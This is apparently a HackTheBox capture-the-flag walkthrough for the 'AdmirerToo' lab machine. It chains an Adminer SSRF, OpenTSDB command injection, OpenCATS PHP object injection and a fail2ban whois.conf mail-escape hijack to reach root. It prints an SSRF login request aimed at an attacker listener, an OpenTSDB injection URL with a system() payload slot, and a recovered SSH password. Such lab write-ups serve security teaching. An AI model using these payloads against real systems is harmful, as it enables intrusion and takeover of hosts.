HTB: AdmirerToo Writeup
AdmirerToo - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | AdmirerToo |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.124 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐⭐☆
- CTF-like: ⭐⭐⭐☆☆
Summary
AdmirerToo chains three separate CVEs into a single foothold-to-root path. A vhost fuzz off a stock Apache 404 page surfaces a hidden Adminer 4.7.8 instance, which is vulnerable to an SSRF (CVE-2021-21311) that pivots requests into a firewalled internal service. That service turns out to be OpenTSDB, itself vulnerable to unauthenticated command injection (CVE-2020-35476), yielding a shell as opentsdb. Static credentials recovered from the Adminer plugin config move laterally to jennifer over SSH. From there, an internally-bound OpenCATS 0.9.5.2 instance is reachable, vulnerable to a PHP object injection bug (CVE-2021-25294) that grants arbitrary file write as the devel user — which is then chained into a fail2ban mail-action RCE by hijacking the system’s whois.conf to reach root.
TL;DR: Vhost fuzz → Adminer 4.7.8 SSRF (CVE-2021-21311) → pivot to internal OpenTSDB (CVE-2020-35476 RCE) as opentsdb → static creds from Adminer plugin config → SSH as jennifer → OpenCATS 0.9.5.2 PHP object injection (CVE-2021-25294) as devel → whois.conf hijack + fail2ban mail-action RCE → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- 10.129.44.124Results:
22/tcp— OpenSSH80/tcp— Apache4242/tcp— filtered16010/tcp— filtered16030/tcp— filtered
The three filtered ports are firewalled from direct external access but still show up in the scan, marking them as targets worth reaching indirectly — this becomes the whole point of the SSRF chain later.
Service Enumeration
Port 80 serves a photo gallery site. Requesting a non-existent path triggers a default Apache error page that leaks the configured ServerName/admin contact, revealing the vhost admirer-gallery.htb. Adding that host to /etc/hosts and fuzzing subdomains against it turns up db.admirer-gallery.htb, which serves an Adminer database-management login page.
The Adminer version banner reads 4.7.8. Browsing /plugins/ on that vhost returns a directory listing, exposing a oneclick-login.php wrapper — a customization that explains why the standard Adminer login screen (with its selectable “system” dropdown, e.g. Elasticsearch/MySQL/etc.) isn’t presented by default: OneClick Login pre-fills and locks the driver to whatever the wrapper’s config specifies.
Vulnerability Assessment
- Adminer 4.7.8 is affected by CVE-2021-21311, an SSRF in the login flow: supplying
driver=elasticlets an attacker set an arbitraryservervalue, and Adminer will make an outbound HTTP request to it as part of the (failed) login attempt. - Because the wrapper is reachable and Adminer will follow the
auth[server]value verbatim, this becomes a proxy to hit the filtered internal ports (4242,16010,16030) found in the nmap scan.
Initial Foothold
Exploitation Path
Step 1 — Confirm SSRF (CVE-2021-21311).
The Elasticsearch driver path in Adminer performs a raw HTTP connection to the auth[server] value supplied in the login POST, before any credential validation happens. Pointing that value at attacker-controlled infrastructure confirms the callback:
POST /adminer.php (oneclick-login wrapper) HTTP/1.1...auth[driver]=elastic&auth[server]=10.10.15.180:5580&auth[username]=x&auth[password]=x&auth[db]=x&auth[permanent]=1Step 2 — Redirect into the internal network.
A 301/302 redirect handler was stood up on 10.10.15.180:5580. Adminer’s Elasticsearch client follows redirects, so pointing the initial SSRF request at this listener and having it 301 to http://127.0.0.1:4242/ makes Adminer itself (running on the target) issue the follow-up request to the internal port — bypassing the external firewall entirely, since the request never leaves the box. The response returned by port 4242 identified the service as OpenTSDB.
Step 3 — RCE on OpenTSDB (CVE-2020-35476).
OpenTSDB’s /q graphing endpoint accepts a yrange parameter that is passed unsanitized into a Gnuplot expression, allowing injection of arbitrary shell commands via yrange=[33:system('...')]. This requires a valid existing metric name in the m= parameter or the request short-circuits with a Java exception before the injection point is reached — enumerated via OpenTSDB’s own /api/suggest?type=metrics endpoint, which returned http.stats.web.hits as a valid metric on this instance.
Chaining this together, the redirect target was updated to point at the OpenTSDB command-injection URL instead of a bare /:
# Redirected the same SSRF pivot at OpenTSDB's vulnerable /q endpoint,# using the confirmed metric name and injecting via yrangehttp://127.0.0.1:4242/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44 &m=sum:http.stats.web.hits&o=&ylabel=&xrange=10:10 &yrange=[33:system('<command>')]&wxh=1516x644&style=linespoint&grid=t&jsonEach Adminer OneClick-Login attempt re-triggered the SSRF, following the redirect into this payload and executing the embedded command as the opentsdb service user. Command output was recovered by base64-encoding it inside the redirect target so it could be read back through the redirector’s own request log, avoiding the need for an interactive channel at this stage.
Result: command execution as opentsdb.
Lateral Movement
Enumerating the OpenTSDB foothold surfaced the Adminer plugin’s own backing config, which stored a second, non-default credential pair alongside the read-only Adminer login. That credential (bQ3u7^AxzcB7qAsxE3) authenticated over SSH as the jennifer user — confirmed with a live login and read of user.txt.
Privilege Escalation
Enumeration as jennifer
Internal port scanning from jennifer’s shell turned up a service on 127.0.0.1:8080 — an OpenCATS 0.9.5.2 applicant-tracking install, running under a devel service account. devel holds write access to parts of the filesystem (/usr/local/etc) that a normal web-facing account shouldn’t — the mechanism, per OpenCATS’s own Apache vhost config, that scopes the app process to a low-privilege but not fully unprivileged user.
CVE-2021-25294 — PHP Object Injection → Arbitrary File Write
OpenCATS 0.9.5.2 is vulnerable to PHP object injection via the parametersactivity:ActivityDataGrid request parameter, which reaches an unsafe unserialize() call (DataGrid.php:384). By crafting a PHP gadget chain (Guzzle’s FileCookieJar/SetCookie classes are the standard gadget for this bug), an attacker-controlled object graph gets deserialized and, on destruction, writes attacker-chosen content to an attacker-chosen path — landing arbitrary file write as the devel user, scoped to whatever devel can write to.
Since devel’s write access doesn’t extend to the webroot (no direct webshell drop), the target for the write was instead /usr/local/etc/whois.conf — the whois client’s server-override config, read on every whois invocation on the box.
fail2ban Mail-Action RCE via whois.conf Hijack
The box runs fail2ban with the sshd jail enabled and its default action_mwl (mail-whois-lines) action — meaning every ban event shells out to whois against the offending IP and mails the result (via mailutils) to root. By overwriting whois.conf to redirect whois lookups for a specific attacker IP to an attacker-controlled server, the content of the “whois response” fail2ban embeds into its mail body becomes attacker-controlled.
A whois responder was stood up (port 5543), with a DNAT rule redirecting inbound port 43 traffic to it — since binding the privileged port 43 directly wasn’t necessary once traffic could be redirected at the firewall/NAT layer instead. Attacker IP 10.10.15.180 was used consistently across the SSRF redirector, the OpenCATS-written whois.conf entry, and the whois responder, so fail2ban’s outbound whois query for that IP would land on the controlled listener.
Triggering repeated failed SSH auth attempts against the box caused fail2ban’s sshd jail to ban the source IP and fire its mwl action — running whois against it, which (thanks to the hijacked whois.conf) queried the attacker’s responder. The response body was crafted to break out of the mail body via a ~! mail-command escape sequence, executing a shell command through mail’s built-in ~! escape when fail2ban’s mail action piped the whois output through mail. This executed as root, since fail2ban itself runs as root.
User Flag: <redacted> (jennifer, /home/jennifer)Root Flag: <redacted> (/root/root.txt)Both flags were captured live against 10.129.44.124, confirming a genuine end-to-end root.
Attack Chain Summary
Apache 404 leak → vhost fuzz → db.admirer-gallery.htb (Adminer 4.7.8) → CVE-2021-21311 SSRF (auth[server] → redirector on 10.10.15.180:5580) → 301 pivot to internal 127.0.0.1:4242 (OpenTSDB) → CVE-2020-35476 command injection (yrange RCE via http.stats.web.hits metric) → shell as opentsdb → Adminer plugin config leaks static creds → SSH as jennifer (user.txt) → internal OpenCATS 0.9.5.2 (127.0.0.1:8080) → CVE-2021-25294 PHP object injection → arbitrary file write as devel → overwrite /usr/local/etc/whois.conf → fail2ban sshd jail ban → action_mwl whois query → hijacked to attacker responder (5543, DNAT'd from 43) → mail ~! escape → root shell (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning, service/version detection |
| Adminer 4.7.8 (target service) | SSRF entry point (CVE-2021-21311) |
| Custom HTTP redirect/DNAT listener | Pivoted SSRF requests into internal-only ports |
OpenTSDB /api/suggest, /q | Metric enumeration + command injection (CVE-2020-35476) |
ssh | Lateral movement to jennifer, later local tunneling |
| OpenCATS 0.9.5.2 (target service) | PHP object injection entry point (CVE-2021-25294) |
| phpggc-style Guzzle gadget chain | Arbitrary file write via unsafe unserialize() |
fail2ban / whois / mail (target services) | Mail-action RCE primitive for root |
iptables DNAT rule | Redirected port 43 traffic to attacker whois responder |
Key Learnings
Techniques Practiced
- Recovering hidden vhosts from Apache default error-page leakage
- Exploiting Adminer’s OneClick-Login plugin quirks to re-derive a disabled SSRF login flow
- Using an HTTP redirector to turn a same-origin SSRF into a same-origin pivot against firewalled internal ports
- Metric enumeration as a prerequisite for exploiting a Gnuplot-style expression-injection RCE (OpenTSDB)
- Credential harvesting from an application’s own plugin backing config for lateral movement
- PHP object injection → arbitrary file write via a known Guzzle gadget chain
- Turning an arbitrary-file-write primitive with no direct webshell path into root by targeting a config file (
whois.conf) consumed by a privileged, automated process (fail2ban) - Abusing a mail client’s
~!command-escape sequence as the final RCE trigger
Lessons Learned
- A stock Apache 404 page can leak a
ServerName/vhost that’s otherwise invisible to a plain IP-based scan — always check default error pages before assuming a vhost is unreachable. - Firewalled internal ports found in an nmap scan aren’t dead ends; SSRF-capable services on the same host can be turned into a same-origin proxy to reach them.
- Arbitrary file write doesn’t require landing in a webroot to become RCE — any config file consumed by a privileged automated process (cron, log rotation,
fail2ban, mail handlers) is a valid target. - Chained CVEs across unrelated services (Adminer, OpenTSDB, OpenCATS, fail2ban/whois/mail) is realistic — this box models a genuine “assume breach, pivot laterally, escalate through misconfigured internal tooling” scenario rather than a single flashy 0-day.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- AdmirerToo — HackTheBox Official Writeup (Document No. D22.100.176, prepared by dotguy, machine author polarbearer) — used for CVE identification (CVE-2021-21311, CVE-2020-35476, CVE-2021-25294) and conceptual explanation of the Adminer SSRF, OpenTSDB command injection, and
fail2ban/whois.confmail-action RCE mechanisms.